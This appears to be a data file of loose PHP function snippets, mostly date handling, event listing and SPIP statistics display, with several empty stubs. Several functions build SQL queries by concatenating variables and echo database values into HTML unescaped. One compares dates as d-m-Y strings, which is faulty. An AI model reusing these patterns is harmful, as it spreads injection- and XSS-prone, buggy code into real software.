"function __construct(vevent $event, $from_date, $to_date)\r\n {\r\n //$this_day = date('d', $from_date);\r\n //$this_month = date('m', $from_date);\r\n //$this_year = date('Y', $from_date);\r\n\r\n //For the list view\r\n $date = getdate();\r\n $date_unixtime = mktime(0, 0, 0, $date['mon'], $date['mday'], $date['year']);\r\n // TODO: List view needs to start today, not on the last selected date.\r\n// \t$from_date = ($date_unixtime + $to_date) / 2;\r\n \t$this_day = date('d', $from_date);\r\n $this_month = date('m', $from_date);\r\n $this_year = date('Y', $from_date);\r\n// \t$this_day = $date['mday'];\r\n// \t$this_month = $date['mon'];\r\n// \t$this_year = $date['year'];\r\n\r\n $start_month = $date['mon'] - 1;\r\n $start_year = $date['year'];\r\n $end_month = $this_month + 1;\r\n $end_year = $this_year;\r\n\r\n\r\n if ($this_month == 1)\r\n {\r\n $start_month = 12;\r\n $start_year --;\r\n }\r\n if ($this_month == 12)\r\n {\r\n $end_month = 1;\r\n $end_year ++;\r\n }\r\n\r\n $this->event = $event;\r\n $this->view_start = mktime(0, 0, 0, $start_month, 1, $start_year);\r\n $this->view_end = mktime(0, 0, 0, $end_month, 31, $end_year);\r\n\r\n if ($this->debug)\r\n {\r\n echo '<hr />';\r\n echo '<b>ICAL RECURRENCE</b>';\r\n echo '<hr />';\r\n echo '<table class=\"data_table\">';\r\n echo '<thead>';\r\n echo '<tr><th>Variable</td><th>Value</td>';\r\n echo '</thead>';\r\n echo '<tbody>';\r\n echo '<tr><td>Title</td><td>' . $this->event->summary['value'] . '</td>';\r\n echo '<tr><td>View begin</td><td>' . $this->view_start . ' (' . date('r', $this->view_start) . ')</td>';\r\n echo '<tr><td>View end</td><td>' . $this->view_end . ' (' . date('r', $this->view_end) . ')</td>';\r\n // echo '<tr><td>Event</td><td>';\r\n // echo '<pre>';\r\n // echo print_r($this->event, true);\r\n // echo '</pre>';\r\n // echo '</td>';\r\n // echo '</tr>';\r\n echo '</tbody>';\r\n echo '</table>';\r\n }\r\n }",
"public function tratarDados(){\r\n\t\r\n\t\r\n }",
"function main()\n{\n\t$stdin = fopen('listeEvt.txt', 'r');\n\t$stdout = fopen('php://stdout', 'w');\n \n $nbEvt = 0;\n $evtTab = array();\n\t \n if ($stdin) {\n $line = 0;\n while (!feof($stdin)) {\n $buffer = fgets($stdin, 4096);\n // La première ligne contient le nombre total d'évènements\n if ($line == 0) {\n $nbEvt = $buffer;\n\n } else {\n // On vérifie qu'on ne dépasse pas le nombre d'évènements définit au début\n if ($line <= $nbEvt) {\n // On récupère la date de début et la durée de l'évènement\n $evt = explode(\";\", $buffer);\n if (sizeof($evt) > 1) {\n // Récupère les valeurs Année Mois Jour pour la date de début\n $dateDebutExplode = explode(\"-\", $evt[0]);\n $dateDebutTab[0] = intval($dateDebutExplode[0]);\n $dateDebutTab[1] = intval($dateDebutExplode[1]);\n $dateDebutTab[2] = intval($dateDebutExplode[2]);\n $dateDebutEvt= $evt[0];\n // Calcul la date de fin\n $endDate = calcEndDate($dateDebutTab, intval($evt[1]));\n // On rajoute des zéros devant pour faciliter le tri par date de début\n $keyMonth = ($dateDebutTab[1] < 10) ? \"0\".$dateDebutTab[1] : $dateDebutTab[1];\n $keyDay = ($dateDebutTab[2] < 10) ? \"0\".$dateDebutTab[2] : $dateDebutTab[2];\n $evtTab[] = array(\"startDate\" => $dateDebutTab[0].\"\".$keyMonth.\"\".$keyDay, \"endDate\" => $endDate, \"nbDay\" => $evt[1]);\n }\n // Tri du tableau par date de début puis par durée\n usort($evtTab, \"evtComparator\");\n }\n }\n $line++;\n }\n // Evt count\n $nbEvt = 0;\n $currentDate = \"\";\n if (sizeof($evtTab) > 0) {\n\n // Retire les évènements chevauchant sur plus d'un autre évènement\n $evtTab = evtFilter($evtTab);\n\n // Compte le nombre d'évènements non chevauchant \n foreach ($evtTab as $key => $evt) {\n if ($currentDate == \"\") {\n $currentDate = $evt[\"endDate\"];\n $nbEvt++;\n } else {\n // Si la date de fin du premier ne chevauche pas la date de début du deuxième\n if ($currentDate < $evt['startDate']) {\n $currentDate = $evt['endDate'];\n $nbEvt += 1;\n }\n }\n }\n }\n }\n\n var_dump($nbEvt);\n\t\n fwrite($stdout, $nbEvt);\n \n\tfclose($stdout);\n\tfclose($stdin);\n}",
"function AtividadesRecentesGeral($logs_descricao = \"\", $logs_id_referencia = 0,$usuarios_nome = \"\", $logs_data = \"\"){\n\n $conexao = new classeConexao();\n\n if($logs_descricao=='atualizou a tarefa') {\n $tarefa = $conexao::fetchuniq(\"SELECT tb_tarefas_nome FROM tb_tarefas WHERE id = \".$logs_id_referencia);\n $item = $tarefa['tb_tarefas_nome'];\n $img = 'fa-edit';\n $label = 'label-warning';\n $url = 'editar/tarefa/';\n }\n else if ($logs_descricao=='completou a tarefa') {\n $tarefa = $conexao::fetchuniq(\"SELECT tb_tarefas_nome FROM tb_tarefas WHERE id = \".$logs_id_referencia);\n $item = $tarefa['tb_tarefas_nome'];\n $img = 'fa-check';\n $label = 'label-success';\n $url = 'editar/tarefa/';\n }\n else if ($logs_descricao=='reativou a tarefa') {\n $tarefa = $conexao::fetchuniq(\"SELECT tb_tarefas_nome FROM tb_tarefas WHERE id = \".$logs_id_referencia);\n $item = $tarefa['tb_tarefas_nome'];\n $img = 'fa-arrow-up';\n $label = 'label-danger';\n $url = 'editar/tarefa/';\n }\n else if ($logs_descricao=='pausou a tarefa') {\n $tarefa = $conexao::fetchuniq(\"SELECT tb_tarefas_nome FROM tb_tarefas WHERE id = \".$logs_id_referencia);\n $item = $tarefa['tb_tarefas_nome'];\n $img = 'fa-pause';\n $label = 'label-primary';\n $url = 'editar/tarefa/';\n }\n else if ($logs_descricao=='aprovou a tarefa') {\n $tarefa = $conexao::fetchuniq(\"SELECT tb_tarefas_nome FROM tb_tarefas WHERE id = \".$logs_id_referencia);\n $item = $tarefa['tb_tarefas_nome'];\n $img = 'fa-check';\n $label = 'label-success';\n $url = 'editar/tarefa/';\n }\n else if ($logs_descricao=='reprovou a tarefa') {\n $tarefa = $conexao::fetchuniq(\"SELECT tb_tarefas_nome FROM tb_tarefas WHERE id = \".$logs_id_referencia);\n $item = $tarefa['tb_tarefas_nome'];\n $img = 'fa-times';\n $label = 'label-danger';\n $url = 'editar/tarefa/';\n }\n else if ($logs_descricao=='enviou para aprovação a tarefa') {\n $tarefa = $conexao::fetchuniq(\"SELECT tb_tarefas_nome FROM tb_tarefas WHERE id = \".$logs_id_referencia);\n $item = $tarefa['tb_tarefas_nome'];\n $img = 'fa-mail-forward';\n $label = 'label-info';\n $url = 'editar/tarefa/';\n }\n else if ($logs_descricao=='cancelou a aprovação da tarefa') {\n $tarefa = $conexao::fetchuniq(\"SELECT tb_tarefas_nome FROM tb_tarefas WHERE id = \".$logs_id_referencia);\n $item = $tarefa['tb_tarefas_nome'];\n $img = 'fa-times';\n $label = 'label-warning';\n $url = 'editar/tarefa/';\n }\n else if ($logs_descricao=='criou a tarefa') {\n $tarefa = $conexao::fetchuniq(\"SELECT tb_tarefas_nome FROM tb_tarefas WHERE id = \".$logs_id_referencia);\n $item = $tarefa['tb_tarefas_nome'];\n $img = 'fa-star';\n $label = 'label-info';\n $url = 'editar/tarefa/';\n }\n\n //$exibeHTML = '<li><div class=\"col1\" style=\"width:98%;\"><div class=\"cont\"><div class=\"cont-col1\"><div class=\"label label-sm '.$label.'\"><i class=\"fa '.$imagem.'\"></i></div></div><div class=\"cont-col2\">';\n //$exibeHTML .= '<div class=\"desc\">O usuário <a href=\"\">'.$usuarios_nome.'</a> '.$logs_descricao.' <a href=\"'.$url.$logs_id_referencia.'\">'.$item.'</a></div></div></div></div><div class=\"col2\">'.'<div class=\"date\">'.DataBrasilSemHoras($logs_data).'</div></div></li>';\n\n //return $exibeHTML;\n\n echo '<li>';\n echo '<div class=\"col1\" style=\"width:98%;\">';\n echo '<div class=\"cont\">';\n echo '<div class=\"cont-col1\">';\n echo '<div class=\"label label-sm '.$label.'\">';\n echo '<i class=\"fa '.$img.'\"></i>';\n echo '</div>';\n echo '</div>';\n echo '<div class=\"cont-col2\">';\n\n\n\n echo '<div class=\"desc\">O usuário <a href=\"\">'.$usuarios_nome.'</a> '.$logs_descricao.' <a href=\"'.$url.$logs_id_referencia.'\">'.$item.'</a>';\n echo '</div>';\n echo '</div>';\n echo '</div>';\n echo '</div>';\n echo '<div class=\"col2\">';\n echo '<div class=\"date\">'.DataBrasilSemHoras($logs_data).'</div>';\n echo '</div>';\n echo '</li>';\n \n}",
"function articles_creer_modifer_jour($date_jour, $aff_det = false) {\r\n\tglobal $couleur_foncee, $couleur_claire;\r\n\r\n\t$tbl_jour = recup_date($date_jour);\r\n\t$deb_jour = date('YmdHis', mktime(0, 0, 0, $tbl_jour[1], $tbl_jour[2], $tbl_jour[0]));\r\n\t$fin_jour = date('YmdHis', mktime(0, 0, 0, $tbl_jour[1], $tbl_jour[2] + 1, $tbl_jour[0]));\r\n\r\n\t$jour = date('d/m/Y', mktime(0, 0, 0, $tbl_jour[1], $tbl_jour[2], $tbl_jour[0]));\r\n\r\n\t$aff = \"\";\r\n\r\n\t#\r\n\t$q = sql_select(\"id_article, titre, statut, id_rubrique, \r\n\t\t\t\t\t\tDATE_FORMAT(date,'%d/%m/%Y %H:%i') as f_date, \r\n\t\t\t\t\t\tDATE_FORMAT(maj,'%d/%m/%Y %H:%i') as f_maj, \r\n\t\t\t\t\t\tDATE_FORMAT(date_redac,'%d/%m/%Y %H:%i') as f_date_redac, \r\n\t\t\t\t\t\tDATE_FORMAT(date_modif,'%d/%m/%Y %H:%i') as f_date_modif \"\r\n\t\t. \"FROM spip_articles \"\r\n\t\t. \"WHERE maj > $deb_jour AND maj < $fin_jour \"\r\n\t\t. \"ORDER BY maj DESC\"\r\n\t);\r\n\t$nb_art = sql_count($q);\r\n\r\n\tif ($aff_det) {\r\n\t\t# tableau de page actijour_art\r\n\r\n\t\t$aff .= debut_cadre_relief(\"\", true)\r\n\t\t\t. \"<div class='cell_huit_p'>\" . _T('actijour:articles_modifies_crees_jour', array('jour' => $jour)) . \"</div>\";\r\n\r\n\t\tif ($nb_art) {\r\n\t\t\t$ifond = 0;\r\n\r\n\t\t\t$aff .= \"<table align='center' border='0' cellpadding='2' cellspacing='0' width='100%'>\\n\"\r\n\t\t\t\t. \"<tr bgcolor='$couleur_foncee' class='head_tbl'>\\n\"\r\n\t\t\t\t. \"<td width='7%'>\" . _T('actijour:numero_court') . \"</td>\\n\"\r\n\t\t\t\t. \"<td width='50%'>\" . _T('actijour:titre_article') . \"</td>\\n\"\r\n\t\t\t\t. \"<td width=25%>\" . _T('actijour:date_maj') . \"</td>\\n\"\r\n\t\t\t\t. \"</tr>\\n\";\r\n\r\n\t\t\twhile ($r = sql_fetch($q)) {\r\n\t\t\t\t$ifond = $ifond ^ 1;\r\n\t\t\t\t$couleur = ($ifond) ? '#FFFFFF' : $couleur_claire;\r\n\t\t\t\t$url_art = generer_url_ecrire('articles', 'id_article=' . $r['id_article']);\r\n\r\n\t\t\t\t$aff .= \"<tr bgcolor='$couleur'>\"\r\n\t\t\t\t\t. \"<td width='7%'>\\n\"\r\n\t\t\t\t\t. \"<div align='right' class='verdana2'>\"\r\n\t\t\t\t\t. $r['id_article']\r\n\t\t\t\t\t. \"</div>\\n</td>\"\r\n\t\t\t\t\t. \"<td width='50%'>\\n\"\r\n\t\t\t\t\t. \"<div class='verdana3' style='margin-left:5px;'><a href='\" . $url_art . \"'>\"\r\n\t\t\t\t\t. http_img_pack(\"puce-\" . puce_statut($r['statut']) . \".gif\", 'ico', '', '') . \" \"\r\n\t\t\t\t\t. entites_html(supprimer_numero($r['titre']))\r\n\t\t\t\t\t. \"</a></div>\\n\"\r\n\t\t\t\t\t. \"</td>\\n\"\r\n\t\t\t\t\t. \"<td width='25%'>\\n\"\r\n\t\t\t\t\t. \"<div align='center' class='verdana2'><b>\" . $r['f_maj'] . \"</b></div></td>\\n\"\r\n\t\t\t\t\t. \"</tr>\\n\"\r\n\t\t\t\t\t. \"<tr bgcolor='$couleur'><td colspan='3'>\"\r\n\t\t\t\t\t. \"<div align='right' class='verdana1'>\"\r\n\t\t\t\t\t. _T('actijour:date_publication_dpt') . $r['f_date'] . \"<br />\"\r\n\t\t\t\t\t. _T('actijour:date_redaction_dpt') . $r['f_date_redac'] . \"</div>\\n\"\r\n\t\t\t\t\t. \"</tr>\\n\";\r\n\t\t\t}\r\n\t\t\t$aff .= \"</table>\";\r\n\t\t} else {\r\n\t\t\t$aff .= _T('actijour:aucun_article_cree');\r\n\t\t}\r\n\t\t$aff .= fin_cadre_relief(true);\r\n\t} else {\r\n\t\t# encart sur actijour_pg\r\n\t\t$url = generer_url_ecrire('actijour_art', 'd=' . $date_jour);\r\n\t\t$icone = http_img_pack('article-24.gif', 'ico', '', '');\r\n\r\n\t\t$aff .= debut_cadre_relief('', true);\r\n\t\t$aff .= \"<div class='bouton_droite icone36'>\\n\"\r\n\t\t\t. \"<a href='\" . $url . \"' title='\" . _T('actijour:voir_details') . \"'>\\n\"\r\n\t\t\t. $icone . \"</a>\\n\"\r\n\t\t\t. \"</div>\\n\";\r\n\t\t$aff .= \"<span class='arial2 bold'>\" . _T('actijour:articles_crees_modifies') . \"</span><br />\";\r\n\t\t#\r\n\t\tif ($nb_art) {\r\n\t\t\t$aff .= http_img_pack(_DIR_IMG_ACJR . \"mini_art.png\", 'ico', '', '') . \" \" . $nb_art;\r\n\t\t} else {\r\n\t\t\t$aff .= _T('actijour:aucun');\r\n\t\t}\r\n\r\n\t\t$aff .= \"<div class='nettoyeur'></div>\";\r\n\t\t$aff .= fin_cadre_relief(true);\r\n\r\n\t}\r\n\r\n\treturn $aff;\r\n}",
"public function getStatisticByDate (){\n\t\t\n\t\t$dates = array();\n\t\t$logins = array();\n\t\t$email = array();\n\t\t$shares = array();\n $open_email = array();\n\t\t$link_visit = array();\n\t\t$tmp = Util::groupMultiArray($this->data, 'date');\n\t\t\n\t\t// transform it to to be abel to plot on the graph\n\t\tforeach ($tmp as $dt => $data){\n $open_email_count = '0';\n $link_visit_open = '0';\n\t\t\tforeach ($data as $choiceid => $choices){\n if(($choices['email_open'] == '1')) {\n $open_email_count++;\n }\n if(($choices['link_visit_open'] == '1')) {\n $link_visit_open++;\n }\n }\n $open_email[] = $open_email_count;\n\t\t\t$link_visit[] = $link_visit_open;\n \n\t\t\t$dates[] = $dt;\n\t\t\t\n\t\t\t$types = Util::groupMultiArray($data, 'type');\n\t\t\t\n\t\t\t$logins[] = (isset($types[1])) ? count($types[1]) : 0;\n\t\t\t$email[] = (isset($types[2])) ? count($types[2]) : 0;\n\t\t\t$shares[] = (isset($types[3])) ? count($types[3]) : 0;\n\t \n\t\t}\n\t\t\n\t\treturn array('label' => $dates, 'login' => $logins, 'email' => $email, 'share' => $shares, 'open_email_count' => $open_email, 'link_visit_open' => $link_visit);\n\t\t\n\t\t//print_r($out);\n\t\t//\n\t}",
"public function init()\n {\n $this->hoje = new DateTime('now');\n $this->diasBaseLine = $this->numdiasbaseline;\n $this->diasReal = $this->numdiasrealizados;\n }",
"public function testSetDateSortie() {\n\n // Set a Date/time mock.\n $dateSortie = new DateTime(\"2018-09-10\");\n\n $obj = new Collaborateurs();\n\n $obj->setDateSortie($dateSortie);\n $this->assertSame($dateSortie, $obj->getDateSortie());\n }",
"private static function setHorarioDeVerao() {\n $dataJunta = self::getAnoAtual() . self::getMesAtual() . self::getDiaAtual();\n //self::$horario_de_verao = ($dataJunta > '20121021' && $dataJunta < '20130217' ) ? true : false;\n self::$horario_de_verao = (date('I') == \"1\") ? true : false;\n return self::getHorarioDeVerao();\n }",
"function recuperaDatosMetas(){\n $folio=0;\n $tmp=array();\n if(trim($this->data['folio']) != \"\"){\n $tmp=explode('-',$this->data['folio']);\n $folio= $tmp[0] + 0;\n if($folio > 0){\n $this->arrayDatos=$this->regresaMetas($folio);\n }\n }\n }",
"static function vypis_zoznam(){\r\n \r\n $db = napoj_db();\r\n\r\n $sql =<<<EOF\r\n SELECT * from Preteky WHERE AKTIV = 1 ORDER BY DEADLINE DESC;\r\nEOF;\r\n\r\n $ret = $db->query($sql);\r\n while($row = $ret->fetchArray(SQLITE3_ASSOC) ){\r\n $d1 = $row['DEADLINE'];\r\n $d2 = $row['DATUM'];\r\n $d3 = new DateTime(date(\"Y-m-d H:i:s\"));\r\n \r\n if(strtotime($d1) < strtotime('1 days') && strtotime($d1) > strtotime('0 days')){\r\n echo \"<tr><td><a href='pretek.php?id=\".$row['ID'].\"' class='red'>\".$row['NAZOV'].\"</a></td>\";\r\n }\r\n if(strtotime($d1) < strtotime('0 days')){\r\n echo \"<tr><td><a href='pretek.php?id=\".$row['ID'].\"' class='grey'>\".$row['NAZOV'].\"</a></td>\";\r\n }\r\n if(strtotime($d1) > strtotime('1 days')){\r\n echo \"<tr><td><a href='pretek.php?id=\".$row['ID'].\"' class='green'>\".$row['NAZOV'].\"</a></td>\";\r\n }\r\n echo \"<td>\".$row['DATUM'].\"</td>\";\r\n echo \"<td>\".$row['DEADLINE'].\"</td>\";\r\n //echo \"<td><a href='uprav_preteky.php?id=\".$row['ID'].\"'>Uprav</a></td>\";\r\n if(new DateTime($d2) < $d3){\r\n ?>\r\n <td><a href='vykon.php?id=<?php echo $row['ID'];?>'>Osobný výkon</a></td>\r\n <td><a href='zhodnotenie.php?id=<?php echo $row['ID']?>'>Celkové hodnotenie</a></td>\r\n <?php\r\n }\r\n echo \"</tr>\";\r\n }\r\n //echo \"Operation done successfully\".\"<br>\"; ////////////////////////////////\r\n $db->close();\r\n}",
"function articles_visites_semaine($nbj = '8') {\r\n\t# $nbj --> nombre de jours du tableau \r\n\t# par defaut 8 ; tableau de la semaine dans actijour_pg.php\r\n\r\n\tglobal $couleur_foncee, $couleur_claire;\r\n\r\n\t$q = sql_select(\r\n\t\t\"DATE_FORMAT(sva.date,'%d/%m') AS date_fr, \r\n\t\tCOUNT(sva.id_article) AS nbart, sv.visites, sva.date \r\n\t\tFROM spip_visites_articles sva LEFT JOIN spip_visites sv ON sva.date = sv.date \r\n\t\tWHERE sva.date > DATE_SUB(NOW(),INTERVAL $nbj DAY) \r\n\t\tGROUP BY sva.date \r\n\t\tORDER BY sva.date\"\r\n\t);\r\n\r\n\t# construit table semaine\r\n\t$semainier = array();\r\n\twhile ($row = sql_fetch($q)) {\r\n\t\t$key = strtotime($row['date']);\r\n\t\t$semainier[$key]['date_fr'] = $row['date_fr'];\r\n\t\t$semainier[$key]['nbart'] = $row['nbart'];\r\n\t\t$semainier[$key]['visites'] = $row['visites'];\r\n\t\t$i++;\r\n\t}\r\n\treset($semainier);\r\n#echo \"<pre>\"; print_r($semainier); echo \"</pre>\";\r\n\r\n\t# combler les jours sans visite\r\n\tif (count($semainier) < $nbj) {\r\n\t\tfor ($i = 0; $i < $nbj; $i++) {\r\n\t\t\tif (!array_key_exists($ante = ante_date_jour($i), $semainier)) {\r\n\t\t\t\t$semainier[$ante]['date_fr'] = ante_date_jour($i, true);\r\n\t\t\t\t$semainier[$ante]['nbart'] = '0';\r\n\t\t\t\t$semainier[$ante]['visites'] = '0';\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n#echo \"2 - <pre>\"; print_r($semainier); echo \"</pre> - 2\";\r\n\tksort($semainier);\r\n\r\n\t#\r\n\t# affiche bloc stats semaine\r\n\t#\r\n\t$aff = debut_cadre_relief(\"cal-semaine.gif\", true);\r\n\t# prepa tableau\r\n\t$aff .= \"<span class='verdana3 bold'>\" . _T('actijour:huit_derniers_jours') . \"</span>\\n\"\r\n\t\t. \"<table width='100%' border='0' cellpadding='1' cellspacing='0'>\\n\"\r\n\t\t. \"<tr><td><div class='cell_huit_t' style='background-color:$couleur_foncee;'>\"\r\n\t\t. _T('actijour:jour') . \"</div>\\n\"\r\n\t\t. \"<div class='cell_huit_m'>\" . _T('actijour:nombre_art') . \"</div>\\n\"\r\n\t\t. \"<div class='cell_huit_p' style='background-color:$couleur_claire;'>\"\r\n\t\t. _T('actijour:visites') . \"</div>\\n</td>\";\r\n\r\n\t# les colonnes\r\n\t$add = 0;\r\n\tforeach ($semainier as $day => $vals) {\r\n\t\t$aff .= \"<td><div class='cell_huit_t' style='background-color:$couleur_foncee;'>\"\r\n\t\t\t. $vals['date_fr'] . \"</div>\\n\"\r\n\t\t\t. \"<div class='cell_huit_m'>\" . $vals['nbart'] . \"</div>\\n\"\r\n\t\t\t. \"<div class='cell_huit_p' style='background-color:$couleur_claire;'>\" . $vals['visites']\r\n\t\t\t. \"</div></td>\\n\";\r\n\t\t//calcul moyenne de la \"periode\"\r\n\t\t$add += $vals['visites'];\r\n\t}\r\n\t# moyenne visite semaine\r\n\t$moysem = round($add / 8);\r\n\r\n\t# derniere colonne affichage : moyenne periode\r\n\t$aff .= \"<td>\"\r\n\t\t. \"<div class='cell_huit_t'> </div>\"\r\n\t\t. \"<div class='cell_huit_m' style='background-color:$couleur_claire;'>\"\r\n\t\t. _T('actijour:moyenne_c')\r\n\t\t. \"<div class='cell_huit_p' style='background-color:$couleur_claire;'>\" . $moysem . \"</div>\"\r\n\t\t. \"</td></tr></table>\";\r\n\r\n\t$aff .= fin_cadre_relief(true);\r\n\r\n\treturn $aff;\r\n}",
"public function getDatenaissance()\n {\n return $this->date_naissance;\n }",
"function provjeri_oglase(){\n\t\tglobal $db;\n\t\t$oglasi = $db->query(\"SELECT * FROM jf_oglasi WHERE status=1\");\n\t\twhile($podatak = $oglasi->fetch_assoc()){\n\t\t\tif (date(\"d-m-Y\", strtotime($podatak['konkurs_end'])) < date(\"d-m-Y\")){\n\t\t\t\t$db->query(\"UPDATE jf_oglasi SET status=0 WHERE id={$podatak['id']}\");\n\t\t\t}\n\t\t}\n\t}",
"public function getDateEn() {\n return $this->date;\n }",
"public function getDirectriz()\n {\n $dir = false;\n if (self::getCod() === '110000') $dir='Enseñanzas Técnicas';\n if (self::getCod() === '120000') $dir='Enseñanzas Técnicas';\n if (self::getCod() === '210000') $dir='Enseñanzas Técnicas';\n if (self::getCod() === '220000') $dir='Ciencias Experimentales';\n if (self::getCod() === '230000') $dir='Ciencias Experimentales';\n if (self::getCod() === '240000') $dir='Ciencias de la Salud';\n if (self::getCod() === '250000') $dir='Ciencias Experimentales';\n if (self::getCod() === '310000') $dir='Ciencias Experimentales';\n if (self::getCod() === '320000') $dir='Ciencias de la Salud';\n if (self::getCod() === '330000') $dir='Enseñanzas Técnicas';\n if (self::getCod() === '510000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '520000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '530000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '540000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '550000') $dir='Humanidades';\n if (self::getCod() === '560000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '570000') $dir='Humanidades';\n if (self::getCod() === '580000') $dir='Humanidades';\n if (self::getCod() === '590000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '610000') $dir='Ciencias de la Salud';\n if (self::getCod() === '620000') $dir='Humanidades';\n if (self::getCod() === '630000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '710000') $dir='Humanidades';\n if (self::getCod() === '720000') $dir='Humanidades';\n return $dir;\n }",
"public function sort_projects_by_date ()\n {\n\n }",
"public function getDateEntree() {\n return $this->dateEntree;\n }",
"public function fecha();",
"public function getHumanReadablePublicationDates()\n {\n return $this->getPublicationInfo('c');\n }",
"public function mtime()\n {\n }",
"public function mtime()\n {\n }",
"public function getDateFin();",
"public function mtime()\n {\n }",
"public function mtime()\n {\n }",
"public function mtime()\n {\n }",
"public function getAt() {\n\t\t$jour=array('Dimanche', 'Lundi', 'Mardi', 'Mercredi', 'Jeudi', 'Vendredi', 'Samedi');\n\t\t$x = shell_exec('atq');\n\t\tif (count($x) >= 1) {\n\t\t\t$x = explode(\"\\n\",trim($x));\n\t\t\t$atq = [];\n\t\t\tforeach ($x as $at) {\n\t\t\t\t$at = explode(\"\\t\", $at);\n\t\t\t\t$at[1] = str_replace(' www-data', '', $at[1]);\n\t\t\t\t$d = substr($at[1],0,-1);\n\t\t\t\t$ts = strtotime($d);\n\t\t\t\t$d = $jour[date('w',$ts)].date(' d/m/Y H:i', $ts);\n\t\t\t\t$atq[] = array('id' => $at[0], 'date' => $d, 'ts' => $ts, 'type' => substr($at[1],-1));\n\t\t\t}\n\t\t\tarray_multisort(array_column($atq, 'ts'),$atq);\n\t\t\tFlight::json(array('Status' => 'OK','At' => $atq));\n\t\t}\n\t\telse Flight::json(array('Status' => 'KO','At' => 'Not Found'));\n\t}",
"public function etatListerTous()\n\t{\n\t\t// votre code ici\n\t\treturn Gestion::lister(\"Etat\");//type array\n\t}",
"function agenda_liste_afficher($id_agenda=0, $annee_choisie=0, $mois_choisi=0, $filtre='-1', $tri='normal') {\n\tstatic $count_evt_filtre = 0;\n\n\tif ($id_agenda == 0)\n\t\treturn $count_evt_filtre;\n\n\t$evenements = agenda_recenser_evenement(0);\n\t$count_evt = count($evenements);\n\t$count_page = agenda_liste_paginer(0);\n\n\t$liste = NULL;\n\tif (($count_evt == 0) || ($count_page == 0))\n\t\treturn $liste;\n\t\t\n\t// Determination de l'annee choisie si l'agenda est saisonnier\t\n\t$contexte_aff = agenda_definir_contexte(0);\n\t$debut_saison = $contexte_aff['debut_saison'];\n\tif (intval($debut_saison) != 1) \n\t\t$annee_choisie = (intval($mois_choisi) < intval($debut_saison)) ? $annee_choisie : strval(intval($annee_choisie)+1);\n\n\t$mois_courant = NULL;\n\t$nouveau_mois = FALSE;\n\t$count_evt_filtre = 0;\n\n\tfor ($i=1;$i<=$count_evt;$i++) {\n\t\t$j = ($tri == 'inverse') ? $count_evt - $i + 1 : $i;\n\t\tif ($evenements[$j]['saison'] == $annee_choisie) {\n\t\t\tif (($filtre == '-1') || \n\t\t\t\t(($filtre == '0') && (!$evenements[$j]['categorie'])) ||\n\t\t\t\t(($filtre != '-1') && ($filtre != 0) && (preg_match(\"/<$filtre>/\",$evenements[$j]['categorie']) > 0))) {\n\n\n\t\t\t\t$count_evt_filtre += 1;\n\t\t\t\t$mois_redac = $evenements[$j]['nom_mois'];\n\t\t\t\tif ($mois_redac != $mois_courant) {\n\t\t\t\t\t$nouveau_mois = TRUE;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$nouveau_mois = FALSE;\n\t\t\t\t}\n\n\t\t\t\tif ($nouveau_mois) {\n\t\t\t\t\tif ($mois_courant) {\n\t\t\t\t\t\t$liste .= '</ul></li>';\n\t\t\t\t\t}\n\t\t\t\t\t$liste .= '<li><a class=\"noeud\" href=\"#\">'.ucfirst($evenements[$j]['nom_mois']).' '.$evenements[$j]['annee'].'</a>';\n\t\t\t\t\t$liste .= '<ul>';\n\t\t\t\t}\n\t\t\t\t$mois_courant = $mois_redac;\n\t\t\t\t$liste .= '<li><a class=\"feuille\" href=\"spip.php?page=evenement&id_article='.$evenements[$j]['id'].'\" title=\"'._T('sarkaspip:navigation_bulle_vers_evenement').'\">\n\t\t\t\t<span class=\"date\">['.$evenements[$j]['date'].'] </span> '.$evenements[$j]['titre'].'</a></li>';\n\t\t\t}\n\t\t}\n\t}\n\n\tif ($count_evt_filtre > 0)\n\t\t$liste = '<ul>'.$liste.'</ul></li></ul>';\n\n\treturn $liste;\n}",
"public function getIngresoAttribute()\n {\n return strftime(\"%d/%b/%Y\", strtotime(date_format(date_create($this->fecha_ingreso), 'd-m-Y')));\n }",
"public function sortIdejaAktuelno() {\n $data['kor_ime']=$this->session->get('kor_tip');\n $idejaModel=new IdejaModel();\n $ideje=$idejaModel->dohvati_najaktuelnije_ideje(); \n $data['ideje']=$ideje;\n $this->prikaz('pregled_ideja', $data); \n }",
"function stampaListaIstanzeEvento() {\n \n include 'configurazione.php';\n include 'connessione.php';\n \n $sql = \"SELECT E.id, eld.data_ora FROM Evento AS E INNER JOIN eventoLuogoData AS eld ON E.id = eld.id_evento ORDER BY data_ora, id;\";\n $stmt = $conn->prepare($sql);\n $stmt->execute();\n $stmt->bind_result($id, $data_ora);\n\n \n $daRitornare=\"\";\n $ultimaData = \"pagliaccio baraldi\";\n while($stmt->fetch()) { \n if($ultimaData != dataIta($data_ora)) {\n $daRitornare.= \"\". \"<h2 class='w3-orange w3-center cappato'>\" . dataIta($data_ora) . \"</h2>\" ;\n }\n\n $daRitornare.= stampaIstanzaEvento($id) . \"<br>\";\n $ultimaData = dataIta($data_ora);\n }\n \n return $daRitornare;\n }",
"public function findSaneparDate(){\n $data = $this->sanepar->findSaneparDate();\n foreach($data as $dt){\n $data[$dt] = substr($dt,0,4) . '/' . substr($dt,4,5);\n }\n return $data;\n }",
"function the_date_xml()\n {\n }",
